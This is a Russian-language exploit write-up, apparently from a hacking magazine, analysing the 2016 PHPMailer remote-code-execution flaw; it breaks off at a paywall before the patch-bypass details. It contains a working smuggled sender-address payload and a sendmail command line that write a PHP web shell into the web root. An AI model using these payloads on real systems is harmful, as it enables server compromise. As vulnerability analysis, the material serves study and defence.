Сегодня мы рассмотрим уязвимость в библиотеке PHPMailer, которая используется для отправки писем миллионами разработчиков по всему миру. Этот скрипт задействован в таких продуктах, как Zend Framework, Laravel, Yii 2, а так же в WordPress, Joomla и многих других CMS, написанных на PHP. Кроме того, ты можешь встретить его в каждой третьей форме обратной связи.

О проблеме сообщил Давид Голунский — специалист по безопасности родом из Польши. 25 декабря 2016 года он на своем сайте опубликовал документ, в котором рассказал о проблемах в текущей версии PHPMailer. А вскоре подоспел и proof of concept.

Уязвимость имеет статус критической потому, что позволяет удаленно выполнять команды и читать файлы на целевой системе. В этой статье я рассмотрю баг в самой библиотеке, нескольких уязвимых продуктах, а также обход неудачной попытки патча.

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
 

Детали уязвимости и патча

Для начала взглянем на патч, который латает эту уязвимость. Идем на GitHub и смотрим соответствующий коммит.

В некоторых местах скрипта появилась дополнительная фильтрация переменной $this->Sender. Это параметр, в котором находится адрес отправителя сообщения (From: ded@moroz.com). Давай посмотрим, что с ним не так.

PHPMailer по умолчанию использует стандартную функцию mail() для отправки сообщений. Выглядит это следующим образом:

class.phpmailer.php:

1426:      * Send mail using the PHP mail() function.
...
1434:     protected function mailSend($header, $body)
...
1444:         if (!empty($this->Sender)) {
1445:             $params = sprintf('-f%s', $this->Sender);
1446:         }
...
1454:                 $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);

class.phpmailer.php:

686:     private function mailPassthru($to, $subject, $body, $header, $params)
...
700:             $result = @mail($to, $subject, $body, $header, $params);

Как видишь, mail() вызывается с пятью параметрами. Скрипт же собирает эти параметры в $params, в том числе и адрес отправителя Sender (строки 1444–1446). Если заглянуть в документацию PHP, то можно увидеть, что последний параметр функции отвечает за дополнительные ключи, которые передаются бинарнику sendmail на этапе отправки сообщения.

Ты уже слышал про RCE через mail() с пятью параметрами? Если нет, то вот кратко суть.

Приложение sendmail имеет множество опций запуска, среди них есть несколько интересных:

  • -Ooption=value устанавливает указанные настройки;
  • -OQueueDirectory=queuedir указывает путь, где будут храниться письма, поставленные в очередь для отправки;
  • -oQ — короткая версия предыдущего ключа;
  • -Cfile позволяет указать путь к конфигурационному файлу;
  • -Xlogfile позволяет логировать все этапы отправки сообщений в указанный файл. Очень полезно для отладки, а также для заливки шеллов ;).

Если использовать эти ключи в правильной комбинации, можно записать файл с любым содержимым. Тебе пригодятся ключи -oQ и -X.

Собственно, функция mail() как раз и занимается тем, что выполняет команду sendmail с нужными параметрами, которые в нашем случае поступают к ней от PHPMailer. Если интересны детали, смотри на небольшой кусок кода из исходников PHP.

/php/php-src/master/ext/standard/mail.c:

099: /* {{{ proto int mail(string to, string subject, string message [, string additional_headers [, string additional_parameters]])
100:    Send an email message */
101: PHP_FUNCTION(mail)
102: {
103:    char *to=NULL, *message=NULL, *headers=NULL, *headers_trimmed=NULL;
104:    char *subject=NULL, *extra_cmd=NULL;
...
123:    if (extra_cmd) {
124:        MAIL_ASCIIZ_CHECK(extra_cmd, extra_cmd_len);
125:    }
...
169:    } else if (extra_cmd) {
170:        extra_cmd = php_escape_shell_cmd(extra_cmd);
171:    }
...
173:    if (php_mail(to_r, subject_r, message, headers_trimmed, extra_cmd TSRMLS_CC)) {
174:        RETVAL_TRUE;
...
265: PHPAPI int php_mail(char *to, char *subject, char *message, char *headers, char *extra_cmd TSRMLS_DC)
266: {
...
271:    FILE *sendmail;
...
273:    char *sendmail_path = INI_STR("sendmail_path");
274:    char *sendmail_cmd = NULL;
...
354:    if (extra_cmd != NULL) {
355:        spprintf(&sendmail_cmd, 0, "%s %s", sendmail_path, extra_cmd);
...
377:    sendmail = popen(sendmail_cmd, "w");

Вооружаемся отладчиком, чтобы быстро посмотреть, какие параметры принимает бинарник. Если выполнить php -r 'mail("pes@localhost", "CheckOneTwo", "Hello!", "", "-OQueueDirectory=/tmp -X/var/www/html/shell.php");', то sendmail_path будет выглядеть следующим образом.

Отладка функции mail()
Отладка функции mail()
gdb-peda$ print sendmail_cmd
$1 = 0xb7494a40 "/usr/sbin/sendmail -t -i  -OQueueDirectory=/tmp -X/var/www/html/shell.php"

Результатом выполнения, как ты уже успел догадаться, будет файл /var/www/html/shell.php. Заметь, что можно контролировать его содержимое с помощью заголовков письма: адресат, тема и текст сообщения.

Содержимое созданного через `-X` лог-файла
Содержимое созданного через `-X` лог-файла

Возвращаемся к насущным проблемам. Притворимся на время разработчиками на PHP и возьмем готовый скрипт mail.phps из папки examples самой библиотеки. Теперь создадим простейшую форму обратной связи. К слову, большая их часть именно так и делается.

examples/mail.phps:

10: //Set who the message is to be sent from
11: $mail->setFrom($_POST["email"], $_POST["name"]);

form.html:

1: <form action="examples/mail.phps" method="POST">
2:   <label><input type="text" name="name">Имя</label><br/>
3:   <label><input type="text" name="email">E-mail</label><br/>
4:   <label><textarea name="message" placeholder="Текст"></textarea></label><br/>
5:   <input type="submit">

После отправки формы функция setFrom() создает переменную $this->Sender, которая содержит адрес отправителя и попадает в командную строку в виде параметра -f (заголовок From в письме).

class.phpmailer.php:

1444:         if (!empty($this->Sender)) {
1445:             $params = sprintf('-f%s', $this->Sender);
1446:         }

class.phpmailer.php:

1011:     public function setFrom($address, $name = '', $auto = true)
...
1016:         if (($pos = strrpos($address, '@')) === false or
1017:             (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
1018:             !$this->validateAddress($address)) {
1019:             $error_message = $this->lang('invalid_address') . " (setFrom) $address";
...
1027:         $this->From = $address;
...
1029:         if ($auto) {
1030:             if (empty($this->Sender)) {
1031:                 $this->Sender = $address;
1032:             }
1033:         }

Адрес перед этим проходит валидацию (строка 1017), поэтому нельзя просто взять и передать параметры для заливки шелла — получишь invalid_address (строка 1019). Если, к примеру, попробовать адрес Test -oQ/tmp -X/var/www/html/shell.php@givemeshell.com, то это он вызовет ошибку валидации.

Если в двух словах, то тут проводится проверка на соответствие стандарту RFC 3696. Однако Голунский выяснил, что согласно стандарту адреса с пробелами считаются валидными только в том случае, если они окружены кавычками. Например, " email with spaces "@itsok.com.

Делаем вторую попытку. Пробуем передать "Test -oQ/tmp -X/var/www/html/shell.php"@givemeshell.com. На этот раз валидация пройдена, но команда для запуска почтового демона выглядит не совсем так, как нам нужно.

Вся строка в конце считается частью аргумента -f. Чтобы избежать этого, нужно разбить его на части. К счастью, стандарт разрешает использовать обратные слеши в адресе, поэтому воспользуемся эскейп-последовательностью \" и отправим "Test\" -oQ/tmp/ -X/var/www/html/shell.php any"@givemeshell.com.

Эксплоит успешно отработал, файл создан
Эксплоит успешно отработал, файл создан

На этот раз все проходит удачно. Как видишь, дополнительно в качестве текста сообщения я отправил код на PHP, который был успешно записан в файл и прекрасно выполняется.

Результат работы эксплоита
Результат работы эксплоита

Теперь мы получили возможность создавать файлы на целевой системе с произвольным содержимым. Миссия выполнена.

 

Как можно обойти патч

Разумеется, команда разработчиков PHPMailer поспешила выпустить патч и настоятельно рекомендовала всем обновить библиотеку до версии 5.2.18. Однако Голунский тоже быстро среагировал и буквально в день выхода фикса зарелизил его обход.

Снова идем на GitHub и ищем коммит с патчем. Ребята добавили код, который проверяет, правильно ли экранируется параметр Sender. Если нет, то параметр -f вообще не используется.

Почему же не хватило фильтрации функцией escapeshellarg()? Дело в особенностях обработки передаваемых аргументов. Советую прочитать про обход escapeshellarg, если ты еще не в курсе этих дел.

Попробуем отправить предыдущий эксплоит и посмотрим, что будет.

Продолжение статьи доступно только подписчикам

Вариант 1. Оформи подписку на «Хакер», чтобы читать все статьи на сайте

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта, включая эту статью. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

Вариант 2. Купи одну статью

Заинтересовала статья, но нет возможности оплатить подписку? Тогда этот вариант для тебя! Обрати внимание: этот способ покупки доступен только для статей, опубликованных более двух месяцев назад.


4 комментария

Подпишитесь на ][, чтобы участвовать в обсуждении

Обсуждение этой статьи доступно только нашим подписчикам. Вы можете войти в свой аккаунт или зарегистрироваться и оплатить подписку, чтобы свободно участвовать в обсуждении.

Check Also

Хакер ищет авторов. Читатель? Хакер? Программист? Безопасник? Мы тебе рады!

Восемнадцать лет мы делаем лучшее во всем русскоязычном пространстве издание по IT и инфор…